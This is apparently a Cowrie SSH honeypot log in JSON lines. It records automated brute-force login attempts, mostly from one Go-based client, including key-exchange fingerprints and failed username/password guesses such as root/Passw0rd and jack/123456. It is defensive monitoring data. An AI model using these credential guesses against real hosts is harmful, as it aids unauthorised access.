{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:54.437747Z","src_ip":"176.65.139.95","session":"35086c9bc8b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:54.716735Z","src_ip":"176.65.139.95","session":"35086c9bc8b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:55.946990Z","src_ip":"176.65.139.95","session":"35086c9bc8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47374,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb0a2b16ae5","protocol":"ssh","message":"New connection: 176.65.139.95:47374 (159.203.135.109:22) [session: bdb0a2b16ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:00.970395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:01.010081Z","src_ip":"176.65.139.95","session":"bdb0a2b16ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:01.113899Z","src_ip":"176.65.139.95","session":"bdb0a2b16ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:01.479451Z","src_ip":"176.65.139.95","session":"bdb0a2b16ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:02.614752Z","src_ip":"176.65.139.95","session":"bdb0a2b16ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47376,"dst_ip":"159.203.135.109","dst_port":22,"session":"112a4df0d678","protocol":"ssh","message":"New connection: 176.65.139.95:47376 (159.203.135.109:22) [session: 112a4df0d678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:07.573333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:07.577729Z","src_ip":"176.65.139.95","session":"112a4df0d678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:07.659162Z","src_ip":"176.65.139.95","session":"112a4df0d678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:07.921175Z","src_ip":"176.65.139.95","session":"112a4df0d678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:09.005930Z","src_ip":"176.65.139.95","session":"112a4df0d678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48432,"dst_ip":"159.203.135.109","dst_port":22,"session":"545cd3f2345e","protocol":"ssh","message":"New connection: 176.65.139.95:48432 (159.203.135.109:22) [session: 545cd3f2345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:14.111029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:14.115480Z","src_ip":"176.65.139.95","session":"545cd3f2345e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:14.199262Z","src_ip":"176.65.139.95","session":"545cd3f2345e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:14.785370Z","src_ip":"176.65.139.95","session":"545cd3f2345e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:15.933205Z","src_ip":"176.65.139.95","session":"545cd3f2345e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51610,"dst_ip":"159.203.135.109","dst_port":22,"session":"216c19a2d768","protocol":"ssh","message":"New connection: 176.65.139.95:51610 (159.203.135.109:22) [session: 216c19a2d768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:20.978648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:20.991309Z","src_ip":"176.65.139.95","session":"216c19a2d768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:21.064831Z","src_ip":"176.65.139.95","session":"216c19a2d768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:21.440611Z","src_ip":"176.65.139.95","session":"216c19a2d768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:22.540207Z","src_ip":"176.65.139.95","session":"216c19a2d768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51632,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca2808556c7","protocol":"ssh","message":"New connection: 176.65.139.95:51632 (159.203.135.109:22) [session: 1ca2808556c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:27.553463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:27.558055Z","src_ip":"176.65.139.95","session":"1ca2808556c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:27.664910Z","src_ip":"176.65.139.95","session":"1ca2808556c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:28.045928Z","src_ip":"176.65.139.95","session":"1ca2808556c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:29.199480Z","src_ip":"176.65.139.95","session":"1ca2808556c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35314,"dst_ip":"159.203.135.109","dst_port":22,"session":"40e6ca1c1009","protocol":"ssh","message":"New connection: 176.65.139.95:35314 (159.203.135.109:22) [session: 40e6ca1c1009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:33.873376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:33.941485Z","src_ip":"176.65.139.95","session":"40e6ca1c1009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:34.053118Z","src_ip":"176.65.139.95","session":"40e6ca1c1009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:34.539126Z","src_ip":"176.65.139.95","session":"40e6ca1c1009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58002,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b36fccae0fa","protocol":"ssh","message":"New connection: 159.203.92.129:58002 (159.203.135.109:22) [session: 9b36fccae0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:35.549615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:35.553663Z","src_ip":"159.203.92.129","session":"9b36fccae0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:35.558130Z","src_ip":"159.203.92.129","session":"9b36fccae0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HwHiAiUser","password":"123456","message":"login attempt [HwHiAiUser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:35.571693Z","src_ip":"159.203.92.129","session":"9b36fccae0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:35.636434Z","src_ip":"176.65.139.95","session":"40e6ca1c1009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:36.577970Z","src_ip":"159.203.92.129","session":"9b36fccae0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49594,"dst_ip":"159.203.135.109","dst_port":22,"session":"914601065f49","protocol":"ssh","message":"New connection: 176.65.139.95:49594 (159.203.135.109:22) [session: 914601065f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:40.873182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:40.880289Z","src_ip":"176.65.139.95","session":"914601065f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecds